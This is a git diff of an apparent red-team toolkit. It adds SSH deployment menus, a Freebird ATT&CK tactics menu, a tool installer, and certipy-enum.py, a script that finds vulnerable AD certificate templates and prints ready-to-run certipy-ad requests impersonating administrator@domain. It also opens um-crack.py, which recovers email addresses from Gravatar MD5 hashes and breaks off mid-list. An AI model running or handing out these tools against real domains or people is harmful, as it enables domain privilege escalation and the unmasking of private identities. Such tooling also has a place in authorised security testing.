print(f"2) Deploy Red Team Tools to Remote Machine") + print(f"3) Deploy All Tools to Remote Machine") + print(f"4) SSH into Remote & Run Umbra") + print(f"5) SSH into Remote & Run Tool") + print(f"6) Check Remote Tool Status") + print(f"99) Back") + + choice = input(f"\nSelect: ").strip() + + if choice == "99": + return + + elif choice == "1": + host, ssh_user, ssh_key = select_target_host() + if host: + deploy_umbra_remote(host, ssh_user, ssh_key) + wait_for_input() + + elif choice == "2": + host, ssh_user, ssh_key = select_target_host() + if host: + deploy_redteam_remote(host, ssh_user, ssh_key) + wait_for_input() + + elif choice == "3": + host, ssh_user, ssh_key = select_target_host() + if host: + deploy_umbra_remote(host, ssh_user, ssh_key) + deploy_redteam_remote(host, ssh_user, ssh_key) + wait_for_input() + + elif choice == "4": + # SSH into remote and run Umbra launcher + deployments = get_deployments() + if not deployments: + host, ssh_user, ssh_key = select_target_host() + else: + print(f"\n{COLORS['CYAN']}Known deployments:{COLORS['RESET']}") + for i, d in enumerate(deployments, 1): + print(f" {i}) {d['host']} ({d['ssh_user']}@) — deployed {d['timestamp']}") + print(f" {len(deployments) + 1}) Other host") + + sel = input(f"\n Select: ").strip() + try: + idx = int(sel) - 1 + if 0 <= idx < len(deployments): + d = deployments[idx] + host = d["host"] + ssh_user = d["ssh_user"] + ssh_key = d["ssh_key"] if d["ssh_key"] != "default" else None + else: + host, ssh_user, ssh_key = select_target_host() + except ValueError: + host, ssh_user, ssh_key = select_target_host() + + if host: + ssh_run_tool(host, ssh_user, ssh_key, "/opt/umbra/umbra.py") + wait_for_input() + + elif choice == "5": + # SSH into remote and run a specific tool + host, ssh_user, ssh_key = select_target_host() + if not host: + wait_for_input() + continue + + print(f"\n{COLORS['CYAN']}Select tool to run:{COLORS['RESET']}") + all_tools = list(TOOLS.keys()) + for i, name in enumerate(all_tools, 1): + info = TOOLS[name] + status = f"{COLORS['GREEN']}LOCAL{COLORS['RESET']}" if os.path.exists(info["path"]) else f"{COLORS['RED']}MISSING{COLORS['RESET']}" + print(f" {i:2d}) {name:16s} — {info['desc']} [{status}]") + + sel = input(f"\n Select tool #: ").strip() + try: + idx = int(sel) - 1 + if 0 <= idx < len(all_tools): + tool_name = all_tools[idx] + info = TOOLS[tool_name] + # Determine remote path + if tool_name in UMBRA_TOOLS: + remote_path = f"/opt/umbra/{os.path.basename(info['path'])}" + else: + remote_path = f"/opt/redteam/{tool_name}/{os.path.basename(info['path'])}" + ssh_run_tool(host, ssh_user, ssh_key, remote_path) + except (ValueError, IndexError): + print(f"{COLORS['RED']}Invalid selection{COLORS['RESET']}") + wait_for_input() + + elif choice == "6": + host, ssh_user, ssh_key = select_target_host() + if host: + check_remote_tools(host, ssh_user, ssh_key) + wait_for_input() + + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() + + +def ops_submenu(): + """Submenu for Ops Dashboard & Engagement Management.""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}OPS & ENGAGEMENT MANAGEMENT{COLORS['RESET']}") + print(f"{COLORS['WHITE']}============================{COLORS['RESET']}") + print(f"1) Ops Dashboard — Real-Time Engagement Monitor") + print(f"2) Ops Bridge — Sync State from Remote Hosts") + print(f"3) Heartbeat Ingest — Receive Host Check-Ins") + print(f"4) Umbra tmux — Launch tmux Workspace") + print(f"99) Back") + + choice = input(f"\nSelect: ").strip() + + if choice == "99": + return + elif choice == "1": + launch_local_tool("ops-dashboard") + wait_for_input() + elif choice == "2": + launch_local_tool("ops-bridge") + wait_for_input() + elif choice == "3": + launch_local_tool("heartbeat-ingest") + wait_for_input() + elif choice == "4": + _launch_umbra_tmux() + wait_for_input() + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() + + +def _launch_umbra_tmux(): + """Prompt for engagement and launch Umbra in tmux mode.""" + engagement = input(f"\n Engagement name: ").strip() + if not engagement: + print(f"{COLORS['YELLOW']}No engagement specified.{COLORS['RESET']}") + return + umbra_script = os.path.join(UMBRA_PATH, "umbra.py") + if not os.path.exists(umbra_script): + print(f"{COLORS['RED']}Umbra launcher not found at {umbra_script}{COLORS['RESET']}") + return + try: + subprocess.run([sys.executable, umbra_script, "-E", engagement, "--tmux", "--dashboard"]) + except KeyboardInterrupt: + pass + + +def _forensics_submenu(): + """Submenu for Forensics & Malware Analysis tools.""" + # Delegate to the forensics module for full functionality + forensics_module_path = os.path.join( + os.path.dirname(__file__), '..', 'forensics', 'deploy_forensics.py' + ) + if os.path.exists(forensics_module_path): + import importlib.util + spec = importlib.util.spec_from_file_location('deploy_forensics', forensics_module_path) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + mod.forensics_menu() + else: + # Fallback: launch tools directly + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}FORENSICS & MALWARE ANALYSIS{COLORS['RESET']}") + print(f"{COLORS['WHITE']}============================={COLORS['RESET']}") + print(f"1) IR-Sandbox (Interactive Menu)") + print(f"2) Link-Sandbox (URL Analysis)") + print(f"99) Back") + + choice = input(f"\nSelect: ").strip() + if choice == "99": + return + elif choice == "1": + launch_local_tool("ir-sandbox") + wait_for_input() + elif choice == "2": + launch_local_tool("link-sandbox") + wait_for_input() + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() + + +def recon_tools_menu(): + """Main entry point — called from c2itall deploy.py tools_menu().""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}RECON & RED TEAM TOOLS{COLORS['RESET']}") + print(f"{COLORS['WHITE']}======================{COLORS['RESET']}") + + # Show local tool status summary + umbra_found = sum(1 for t in UMBRA_TOOLS if check_tool_status(t)) + redteam_found = sum(1 for t in REDTEAM_TOOLS if check_tool_status(t)) + ops_found = sum(1 for t in OPS_TOOLS if check_tool_status(t)) + print(f" Local: Umbra {COLORS['GREEN']}{umbra_found}/{len(UMBRA_TOOLS)}{COLORS['RESET']} | " + f"Red Team {COLORS['GREEN']}{redteam_found}/{len(REDTEAM_TOOLS)}{COLORS['RESET']} | " + f"Ops {COLORS['CYAN']}{ops_found}/{len(OPS_TOOLS)}{COLORS['RESET']}") + print() + + print(f"1) Umbra Reconnaissance Suite {COLORS['GREEN']}({umbra_found} tools){COLORS['RESET']}") + print(f"2) Red Team Operations Tools {COLORS['GREEN']}({redteam_found} tools){COLORS['RESET']}") + print(f"3) Remote Deployment & SSH") + print(f"4) Ops & Engagement Management {COLORS['CYAN']}(Dashboard, Bridge, Heartbeat){COLORS['RESET']}") + print(f"5) Forensics & Sandbox {COLORS['YELLOW']}(IR-Sandbox, Link-Sandbox){COLORS['RESET']}") + print(f"99) Return to Tools Menu") + + choice = input(f"\nSelect: ").strip() + + if choice == "1": + umbra_submenu() + elif choice == "2": + redteam_submenu() + elif choice == "3": + remote_submenu() + elif choice == "4": + ops_submenu() + elif choice == "5": + _forensics_submenu() + elif choice == "99": + return + else: + print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}") + wait_for_input() diff --git a/tools/redteam/certipy-enum.py b/tools/redteam/certipy-enum.py new file mode 100644 index 0000000..1b1fd8c --- /dev/null +++ b/tools/redteam/certipy-enum.py @@ -0,0 +1,353 @@ +#!/usr/bin/env python3 +import subprocess +import re +import sys +import os +import glob +import json + +# Ops hook (safe no-op if c2itall not available) +try: + sys.path.insert(0, os.path.expanduser("~/tools/c2itall")) + from utils.ops_hook import OpsHook as _OpsHook +except ImportError: + _OpsHook = None + +def run_command(cmd): + """Run a command and return its output""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60) + return result.stdout, result.stderr, result.returncode + except subprocess.TimeoutExpired: + return "", "Command timed out", 1 + +def read_latest_certipy_files(): + """Read the latest certipy output files""" + txt_files = glob.glob("*_Certipy.txt") + json_files = glob.glob("*_Certipy.json") + + txt_content = "" + json_content = {} + + if txt_files: + latest_txt = max(txt_files, key=os.path.getctime) + try: + with open(latest_txt, 'r', encoding='utf-8') as f: + txt_content = f.read() + except: + txt_content = "" + + if json_files: + latest_json = max(json_files, key=os.path.getctime) + try: + with open(latest_json, 'r', encoding='utf-8') as f: + json_content = json.load(f) + except Exception as e: + print(f"[!] Error reading JSON: {e}") + # Try reading as text and debugging + try: + with open(latest_json, 'r', encoding='utf-8') as f: + raw_content = f.read() + pass # raw content available for debugging if needed + except: + pass + json_content = {} + + return txt_content, json_content + +def parse_cas_from_json(json_data): + """Extract CAs from JSON data - looking for CA Name field""" + cas = [] + try: + if "Certificate Authorities" in json_data: + ca_section = json_data["Certificate Authorities"] + if isinstance(ca_section, dict): + for key, ca_info in ca_section.items(): + if isinstance(ca_info, dict) and "CA Name" in ca_info: + cas.append(ca_info["CA Name"]) + except Exception as e: + print(f"[!] Error parsing CAs: {e}") + return cas + +def parse_templates_from_json(json_data): + """ + Extract templates and identify vulnerabilities: + - ESC1: Enrollee Supplies Subject = True + Enabled + User can enroll + - ESC2/ESC3: Look in [*] Remarks section + - User Enrollable: Look for [+] User Enrollable Principals + """ + all_templates = [] + vulnerable_templates = [] + user_enrollable_templates = [] + esc1_templates = [] + + try: + if "Certificate Templates" in json_data: + template_section = json_data["Certificate Templates"] + if isinstance(template_section, dict): + for template_key, template_info in template_section.items(): + if isinstance(template_info, dict) and "Template Name" in template_info: + template_name = template_info["Template Name"] + all_templates.append(template_name) + + # Check if enabled + is_enabled = template_info.get("Enabled", False) + + # Check for ESC1: Enrollee Supplies Subject + enabled + enrollee_supplies = template_info.get("Enrollee Supplies Subject", False) + if enrollee_supplies and is_enabled: + esc1_templates.append(template_name) + vulnerable_templates.append(f"{template_name} (ESC1)") + + # Check for vulnerabilities in [*] Remarks + if "[*] Remarks" in template_info: + remarks = template_info["[*] Remarks"] + if isinstance(remarks, dict): + for remark_key in remarks.keys(): + if "ESC" in str(remark_key): + if template_name not in [v.split(' ')[0] for v in vulnerable_templates]: + vulnerable_templates.append(f"{template_name} ({remark_key.split()[0]})") + + # Check for [+] User Enrollable Principals + if "[+] User Enrollable Principals" in template_info: + user_enrollable_templates.append(template_name) + + except Exception as e: + print(f"[!] Error parsing templates: {e}") + + return all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates + +def parse_targets_from_json(json_data): + """Extract CA DNS names for targeting""" + targets = [] + try: + if "Certificate Authorities" in json_data: + ca_section = json_data["Certificate Authorities"] + if isinstance(ca_section, dict): + for key, ca_info in ca_section.items(): + if isinstance(ca_info, dict) and "DNS Name" in ca_info: + targets.append(ca_info["DNS Name"]) + except Exception as e: + print(f"[!] Error parsing targets: {e}") + return targets + +def parse_esc_vulnerabilities(json_data): + """Extract ESC vulnerabilities from CA and template remarks""" + esc_vulns = [] + try: + # CA level ESC (like ESC8) + if "Certificate Authorities" in json_data: + ca_section = json_data["Certificate Authorities"] + if isinstance(ca_section, dict): + for key, ca_info in ca_section.items(): + if isinstance(ca_info, dict) and "[*] Remarks" in ca_info: + remarks = ca_info["[*] Remarks"] + if isinstance(remarks, dict): + for remark_key in remarks.keys(): + if "ESC" in str(remark_key): + esc_vulns.append(remark_key) + + # Template level ESC + if "Certificate Templates" in json_data: + template_section = json_data["Certificate Templates"] + if isinstance(template_section, dict): + for template_key, template_info in template_section.items(): + if isinstance(template_info, dict) and "[*] Remarks" in template_info: + remarks = template_info["[*] Remarks"] + if isinstance(remarks, dict): + for remark_key in remarks.keys(): + if "ESC" in str(remark_key): + esc_vulns.append(remark_key) + + except Exception as e: + print(f"[!] Error parsing ESC vulnerabilities: {e}") + + return list(set(esc_vulns)) + +def get_template_permissions(json_data, template_name): + """Get who can enroll in this template""" + try: + if "Certificate Templates" in json_data: + template_section = json_data["Certificate Templates"] + if isinstance(template_section, dict): + for template_key, template_info in template_section.items(): + if isinstance(template_info, dict) and template_info.get("Template Name") == template_name: + # Look for enrollment rights + permissions = template_info.get("Permissions", {}) + if isinstance(permissions, dict): + enrollment_perms = permissions.get("Enrollment Permissions", {}) + if isinstance(enrollment_perms, dict): + enrollment_rights = enrollment_perms.get("Enrollment Rights", []) + return enrollment_rights if isinstance(enrollment_rights, list) else [] + except Exception as e: + print(f"[!] Error getting permissions for {template_name}: {e}") + return [] + +def get_enabled_templates(json_data): + """Get list of enabled templates""" + enabled_templates = [] + try: + if "Certificate Templates" in json_data: + template_section = json_data["Certificate Templates"] + if isinstance(template_section, dict): + for template_key, template_info in template_section.items(): + if isinstance(template_info, dict): + template_name = template_info.get("Template Name", "") + is_enabled = template_info.get("Enabled", False) + if is_enabled and template_name: + enabled_templates.append(template_name) + except Exception as e: + print(f"[!] Error getting enabled templates: {e}") + return enabled_templates + +def main(): + # Ops hook + _hook = _OpsHook("certipy-enum") if _OpsHook else None + if _hook: + _hook.register() + + print("=" * 60) + print("CERTIPY-AD CERTIFICATE ATTACK BUILDER v2.3") + print("=" * 60) + + # Get user input + username = input("Enter username (user@domain.com): ") + password = input("Enter password: ") + dc_ip = input("Enter DC IP: ") + + print("\n[*] Running certipy-ad enumeration...") + + # Pass password via environment variable — keeps it out of process list and logs + os.environ['_CERTIPY_PASS'] = password + find_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip}" + vuln_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip} -vulnerable" + + # Run basic enumeration + print("[*] Finding Certificate Authorities and basic info...") + stdout, stderr, returncode = run_command(find_cmd) + + if returncode != 0: + os.environ.pop('_CERTIPY_PASS', None) + print(f"[!] Error running certipy-ad find: {stderr}") + return + + # Run vulnerability scan + print("[*] Scanning for vulnerable templates...") + vuln_stdout, vuln_stderr, vuln_returncode = run_command(vuln_cmd) + os.environ.pop('_CERTIPY_PASS', None) + + # Read the saved files + print("[*] Reading certipy output files...") + txt_content, json_content = read_latest_certipy_files() + + if not json_content: + print("[!] No JSON data found. Check the certipy output files manually.") + return + + # Parse results from JSON + cas = parse_cas_from_json(json_content) + all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates = parse_templates_from_json(json_content) + targets = parse_targets_from_json(json_content) + esc_vulns = parse_esc_vulnerabilities(json_content) + enabled_templates = get_enabled_templates(json_content) + + # Display results + print("\n" + "=" * 60) + print("ENUMERATION RESULTS") + print("=" * 60) + + print(f"\n[+] CERTIFICATE AUTHORITIES ({len(cas)} found):") + for i, ca in enumerate(cas, 1): + print(f" {i}. {ca}") + + print(f"\n[+] CA TARGETS/DNS NAMES ({len(targets)} found):") + for i, target in enumerate(targets, 1): + print(f" {i}. {target}") + + print(f"\n[+] ESC VULNERABILITIES FOUND ({len(esc_vulns)} found):") + for esc in esc_vulns: + print(f" - {esc}") + + print(f"\n[+] VULNERABLE TEMPLATES ({len(vulnerable_templates)} found):") + for i, template in enumerate(vulnerable_templates, 1): + print(f" {i}. {template}") + + print(f"\n[+] USER ENROLLABLE TEMPLATES ({len(user_enrollable_templates)} found):") + for i, template in enumerate(user_enrollable_templates, 1): + permissions = get_template_permissions(json_content, template) + perms_str = ', '.join(permissions) if permissions else "Check manually" + print(f" {i}. {template} -> {perms_str}") + + print(f"\n[+] ESC1 TEMPLATES (Enrollee Supplies Subject) ({len(esc1_templates)} found):") + for i, template in enumerate(esc1_templates, 1): + print(f" {i}. {template}") + + print(f"\n[+] ENABLED TEMPLATES ({len(enabled_templates)} found):") + for i, template in enumerate(enabled_templates[:10], 1): + print(f" {i}. {template}") + if len(enabled_templates) > 10: + print(f" ... and {len(enabled_templates) - 10} more enabled templates") + + # Build attack commands + if cas and targets: + domain = username.split('@')[1] if '@' in username else 'company.com' + + print("\n" + "=" * 60) + print("RECOMMENDED ATTACK COMMANDS") + print("=" * 60) + + ca_name = cas[0] + target_name = targets[0] + + # Priority: ESC1 templates, then user enrollable, then common enabled ones + priority_templates = [] + + # Add ESC1 templates first (highest priority) + for template in esc1_templates: + if template not in priority_templates: + priority_templates.append(template) + + # Add user enrollable templates + for template in user_enrollable_templates: + if template not in priority_templates: + priority_templates.append(template) + + # Add common templates if they're enabled + common_templates = ["User", "Machine", "WebServer", "AutoenrolledUser"] + for template in common_templates: + if template in enabled_templates and template not in priority_templates: + priority_templates.append(template) + + # Limit to top 5 + priority_templates = priority_templates[:5] + + if not priority_templates: + priority_templates = enabled_templates[:3] + + print(f"\n[*] Using CA: {ca_name}") + print(f"[*] Using Target: {target_name}") + print(f"[*] Domain Controller: Use {dc_ip} for authentication after getting certificate") + + for i, template in enumerate(priority_templates, 1): + permissions = get_template_permissions(json_content, template) + print(f"\n[{i}] Template: {template}") + if permissions: + print(f" Permissions: {', '.join(permissions)}") + else: + print(f" Permissions: Check manually") + + cmd = f"certipy-ad req -username {username} -password '{password}' -ca '{ca_name}' -target {target_name} -template '{template}' -upn administrator@{domain}" + print(f" Command: {cmd}") + + print(f"\n[*] Output files created:") + txt_files = glob.glob("*_Certipy.txt") + json_files = glob.glob("*_Certipy.json") + for f in sorted(txt_files[-2:] + json_files[-2:]): + print(f" - {f}") + + else: + print("\n[!] Insufficient data found for building attack commands.") + print(" Try running the commands manually with known templates.") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/tools/redteam/freebird/core/main_menu.py b/tools/redteam/freebird/core/main_menu.py new file mode 100644 index 0000000..0882097 --- /dev/null +++ b/tools/redteam/freebird/core/main_menu.py @@ -0,0 +1,53 @@ +# core/main_menu.py + +from InquirerPy import inquirer +from core.utils import clear_screen +from core.config import config +from framework.reconnaissance.reconnaissance_menu import reconnaissance_menu # Corrected path for Reconnaissance Menu + +# Main Menu Function +def main_menu(): + while True: + clear_screen() # Clear screen before displaying the main menu + selection = inquirer.select( + message="Select a Tactic:", + choices=[ + "Reconnaissance", + "Initial Access", + "Execution", + "Persistence", + "Privilege Escalation", + "Defense Evasion", + "Credential Access", + "Discovery", + "Lateral Movement", + "Collection", + "Command and Control", + "Exfiltration", + "Impact", + "Resource Development", + "Set Global Variable", + "Show Global Variables", + "Exit", + ], + qmark="", # Remove question mark + pointer="👾" # Customize the pointer + ).execute() + + # Call relevant function based on user selection + if selection == "Exit": + print("Exiting...") + break + elif selection == "Set Global Variable": + config.prompt_set_variable() + elif selection == "Show Global Variables": + config.show_variables() + elif selection == "Reconnaissance": + reconnaissance_menu() # Navigate to Reconnaissance Menu + else: + # Handle options under construction + print("This feature is under construction. Returning to the main menu...") + input("Press Enter to continue...") + +if __name__ == "__main__": + main_menu() diff --git a/tools/redteam/freebird/core/tool_manager.py b/tools/redteam/freebird/core/tool_manager.py new file mode 100644 index 0000000..80510f9 --- /dev/null +++ b/tools/redteam/freebird/core/tool_manager.py @@ -0,0 +1,121 @@ +import os +import subprocess +import argparse + +TOOLS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../tools/') # Directory where all tools will be installed + +def install_tool(tool_name, repo_url): + tool_path = os.path.join(TOOLS_DIR, tool_name) + + if os.path.exists(tool_path): + print(f"{tool_name} is already installed.") + return + + # Clone the repository + print(f"Cloning {repo_url}...") + subprocess.run(['git', 'clone', repo_url, tool_path], check=True) + + # Set up a virtual environment if necessary + venv_path = os.path.join(tool_path, 'venv') + print(f"Setting up virtual environment for {tool_name}...") + subprocess.run(['python3', '-m', 'venv', venv_path], check=True) + + # Activate virtual environment and install dependencies + requirements_file = os.path.join(tool_path, 'requirements.txt') + if os.path.exists(requirements_file): + print(f"Installing dependencies for {tool_name}...") + pip_bin = os.path.join(venv_path, 'bin', 'pip') + subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True) + + print(f"{tool_name} installed successfully.") + +def install_tools_list(tools_list): + for tool_name, repo_url in tools_list: + install_tool(tool_name, repo_url) + +def update_tool(tool_name): + tool_path = os.path.join(TOOLS_DIR, tool_name) + + if not os.path.exists(tool_path): + print(f"{tool_name} is not installed.") + return + + # Pull the latest changes + print(f"Updating {tool_name}...") + subprocess.run(['git', '-C', tool_path, 'pull'], check=True) + + # Update dependencies if necessary + venv_path = os.path.join(tool_path, 'venv') + requirements_file = os.path.join(tool_path, 'requirements.txt') + if os.path.exists(requirements_file): + print(f"Updating dependencies for {tool_name}...") + pip_bin = os.path.join(venv_path, 'bin', 'pip') + subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True) + + print(f"{tool_name} updated successfully.") + +def remove_tool(tool_name): + tool_path = os.path.join(TOOLS_DIR, tool_name) + + if not os.path.exists(tool_path): + print(f"{tool_name} is not installed.") + return + + # Remove the tool directory + print(f"Removing {tool_name}...") + subprocess.run(['rm', '-rf', tool_path], check=True) + print(f"{tool_name} removed successfully.") + +def show_status(tool_name): + tool_path = os.path.join(TOOLS_DIR, tool_name) + + if os.path.exists(tool_path): + print(f"{tool_name} is installed.") + else: + print(f"{tool_name} is not installed.") + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Tool Manager for Freebird Framework') + subparsers = parser.add_subparsers(dest='command', help='Subcommands') + + # Install command + install_parser = subparsers.add_parser('install', help='Install a tool') + install_parser.add_argument('tool_name', help='Name of the tool to install') + install_parser.add_argument('repo_url', help='Git repository URL of the tool') + + # Install multiple tools + install_list_parser = subparsers.add_parser('install-list', help='Install a list of tools') + install_list_parser.add_argument('file', help='Path to a file containing the list of tools and their repositories') + + # Update command + update_parser = subparsers.add_parser('update', help='Update a tool') + update_parser.add_argument('tool_name', help='Name of the tool to update') + + # Remove command + remove_parser = subparsers.add_parser('remove', help='Remove a tool') + remove_parser.add_argument('tool_name', help='Name of the tool to remove') + + # Status command + status_parser = subparsers.add_parser('status', help='Show the status of a tool') + status_parser.add_argument('tool_name', help='Name of the tool') + + args = parser.parse_args() + + if args.command == 'install': + install_tool(args.tool_name, args.repo_url) + elif args.command == 'install-list': + # Read the file to get a list of tools to install + tools = [] + with open(args.file, 'r') as f: + for line in f: + name, url = line.strip().split(',') + tools.append((name.strip(), url.strip())) + install_tools_list(tools) + elif args.command == 'update': + update_tool(args.tool_name) + elif args.command == 'remove': + remove_tool(args.tool_name) + elif args.command == 'status': + show_status(args.tool_name) + else: + parser.print_help() diff --git a/tools/redteam/ioc-u/ioc-u.py b/tools/redteam/ioc-u/ioc-u.py index 83a2273..df43519 100644 --- a/tools/redteam/ioc-u/ioc-u.py +++ b/tools/redteam/ioc-u/ioc-u.py @@ -27,7 +27,12 @@ import hashlib import struct import base64 from datetime import datetime, timedelta -from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR +try: + from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR + SCAPY_AVAILABLE = True +except ImportError: + SCAPY_AVAILABLE = False + print("⚠️ Warning: scapy not available. Install with: pip install scapy") from collections import defaultdict, deque, Counter from typing import Dict, List, Tuple, Optional, Set, Any @@ -1373,7 +1378,11 @@ class EnhancedBlueTeamDetector: """Select network interface""" if self.config["interface"] != "auto": return self.config["interface"] - + + if not SCAPY_AVAILABLE: + logging.error("scapy not installed — cannot list interfaces") + return "eth0" + interfaces = get_if_list() preferred = ['eth0', 'ens33', 'ens192', 'ens160', 'enp0s3', 'wlan0'] @@ -1469,10 +1478,14 @@ class EnhancedBlueTeamDetector: def run(self): """Main detection loop""" + if not SCAPY_AVAILABLE: + print("❌ scapy is required for packet capture. Install with: pip install scapy") + return + # Signal handlers signal.signal(signal.SIGTERM, self.cleanup) signal.signal(signal.SIGINT, self.cleanup) - + # Get interface interface = self.get_network_interface() diff --git a/tools/redteam/ops-logger.sh b/tools/redteam/ops-logger.sh index 5906b2d..c10f499 100644 --- a/tools/redteam/ops-logger.sh +++ b/tools/redteam/ops-logger.sh @@ -926,69 +926,6 @@ clear_window_indicators() { fi } -# ================================================================ -# OHMYTMUX-COMPATIBLE WINDOW NAME MANAGEMENT -# ================================================================ - -# Improved window name handling that works with ohmytmux -get_current_window_name() { - local tmux_pane_ref="$1" - local name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}') - - # Remove our indicators as well as any ohmytmux status indicators - name="${name#🔴 }" - name="${name#🎥 }" - name="${name#● }" - name="${name#⚠ }" - name="${name#▶ }" - - echo "$name" -} - -set_window_logging_indicator() { - local tmux_pane_ref="$1" - local current_name=$(get_current_window_name "$tmux_pane_ref") - - # Preserve ohmytmux automatic formats but add our indicator - if [[ "$current_name" == *Z ]]; then - # Zoomed window format in ohmytmux - tmux rename-window -t "$tmux_pane_ref" "🔴 ${current_name%Z}Z" - else - tmux rename-window -t "$tmux_pane_ref" "🔴 $current_name" - fi -} - -set_window_recording_indicator() { - local tmux_pane_ref="$1" - local current_name=$(get_current_window_name "$tmux_pane_ref") - - # Remove logging indicator if present and add recording - current_name="${current_name#🔴 }" - - # Preserve ohmytmux automatic formats - if [[ "$current_name" == *Z ]]; then - # Zoomed window format in ohmytmux - tmux rename-window -t "$tmux_pane_ref" "🎥 ${current_name%Z}Z" - else - tmux rename-window -t "$tmux_pane_ref" "🎥 $current_name" - fi -} - -clear_window_indicators() { - local tmux_pane_ref="$1" - local current_name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}') - local clean_name=$(get_current_window_name "$tmux_pane_ref") - - # Preserve any ohmytmux indicators that might be present - if [[ "$current_name" == *Z ]]; then - # Zoomed window format in ohmytmux - tmux rename-window -t "$tmux_pane_ref" "${clean_name}Z" - else - tmux rename-window -t "$tmux_pane_ref" "$clean_name" - fi -} - -# ================================================================ # MAIN LOGGING FUNCTIONS # ================================================================ @@ -1279,7 +1216,7 @@ EOSCRIPT chmod +x "$config_script" # Open new window for config - bash $config_script; rm -f $config_script + bash "$config_script"; rm -f "$config_script" return 0 fi diff --git a/tools/umbra/um-crack.py b/tools/umbra/um-crack.py new file mode 100755 index 0000000..0f1825c --- /dev/null +++ b/tools/umbra/um-crack.py @@ -0,0 +1,991 @@ +#!/usr/bin/env python3 +"""um-crack.py — Umbra Hash Cracker +Pattern-based email recovery from Gravatar MD5 hashes. Local computation only +(no network needed). 772+ email providers, cultural naming patterns. +""" + +import csv +import hashlib +import itertools +import json +import os +import random +import re +import sqlite3 +import sys +import time +from collections import defaultdict +from datetime import datetime + +import click +from rich.console import Console +from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn, TaskProgressColumn, TimeElapsedColumn, MofNCompleteColumn +from rich.table import Table +from rich import box +from um_tui import UmbraTUI +from um_ops import create_engagement, get_engagement_db_path, op_log, op_log_csv, get_ops_hook, load_scope + +# ─── Version ────────────────────────────────────────────────────────────────── +VERSION = "1.0.0" +TOOL_NAME = "um-crack" +THEME_COLOR = "bright_red" +BANNER = r""" + _ _ __ __ ____ _____ _____ _____ _____ _ __ + | | | | \/ | _ \| __ \ /\ / ____| __ \ /\ / ____| |/ / + | | | | \ / | |_) | |__) | / \ | | | |__) | / \ | | | ' / + | | | | |\/| | _ <| _ / / /\ \| | | _ / / /\ \| | | < + | |__| | | | | |_) | | \ \ / ____ \ |____| | \ \ / ____ \ |____| . \ + \____/|_| |_|____/|_| \_\/_/ \_\_____|_| \_\/_/ \_\_____|_|\_\ +""" + +# ─── Email Providers (772+) ────────────────────────────────────────────────── +MAJOR_PROVIDERS = [ + "gmail.com", "yahoo.com", "hotmail.com", "outlook.com", "aol.com", + "icloud.com", "mail.com", "protonmail.com", "zoho.com", "yandex.com", + "gmx.com", "gmx.net", "live.com", "msn.com", "me.com", "mac.com", + "pm.me", "tutanota.com", "fastmail.com", "hushmail.com", +] + +REGIONAL_PROVIDERS = { + # Americas + "us": ["comcast.net", "verizon.net", "att.net", "charter.net", "cox.net", + "earthlink.net", "sbcglobal.net", "bellsouth.net", "roadrunner.com", + "optonline.net", "frontier.com", "windstream.net", "centurylink.net", + "suddenlink.net", "mediacombb.net"], + "br": ["uol.com.br", "bol.com.br", "terra.com.br", "globo.com", "ig.com.br", + "hotmail.com.br", "outlook.com.br", "yahoo.com.br", "r7.com"], + "mx": ["prodigy.net.mx", "yahoo.com.mx", "hotmail.com.mx", "live.com.mx"], + "ar": ["yahoo.com.ar", "hotmail.com.ar", "fibertel.com.ar", "speedy.com.ar"], + "co": ["yahoo.com.co", "hotmail.com.co"], + "cl": ["yahoo.cl", "hotmail.cl", "vtr.net"], + "ca": ["rogers.com", "shaw.ca", "sympatico.ca", "bell.net", "telus.net"], + + # Europe + "uk": ["btinternet.com", "sky.com", "virginmedia.com", "talktalk.net", + "ntlworld.com", "plusnet.com", "tiscali.co.uk", "yahoo.co.uk", + "hotmail.co.uk", "outlook.co.uk", "live.co.uk", "btopenworld.com"], + "de": ["web.de", "gmx.de", "t-online.de", "freenet.de", "arcor.de", + "yahoo.de", "hotmail.de", "outlook.de", "1und1.de", "posteo.de"], + "fr": ["free.fr", "orange.fr", "sfr.fr", "wanadoo.fr", "laposte.net", + "yahoo.fr", "hotmail.fr", "outlook.fr", "neuf.fr", "bbox.fr"], + "it": ["libero.it", "virgilio.it", "tin.it", "alice.it", "tiscali.it", + "yahoo.it", "hotmail.it", "outlook.it", "fastwebnet.it"], + "es": ["yahoo.es", "hotmail.es", "outlook.es", "telefonica.net", + "terra.es", "ono.com", "jazztel.es"], + "nl": ["ziggo.nl", "kpnmail.nl", "xs4all.nl", "hetnet.nl", "casema.nl", + "planet.nl", "yahoo.nl", "hotmail.nl"], + "be": ["skynet.be", "telenet.be", "proximus.be", "yahoo.be", "hotmail.be"], + "ch": ["bluewin.ch", "sunrise.ch", "hispeed.ch", "gmx.ch"], + "at": ["gmx.at", "aon.at", "chello.at", "yahoo.at"], + "se": ["telia.com", "spray.se", "comhem.se", "yahoo.se", "hotmail.se", + "bredband.net", "swipnet.se"], + "no": ["online.no", "broadpark.no", "yahoo.no", "hotmail.no"], + "dk": ["jubii.dk", "yahoo.dk", "hotmail.dk", "mail.dk", "tdcadsl.dk"], + "fi": ["kolumbus.fi", "welho.com", "elisa.fi", "yahoo.fi", 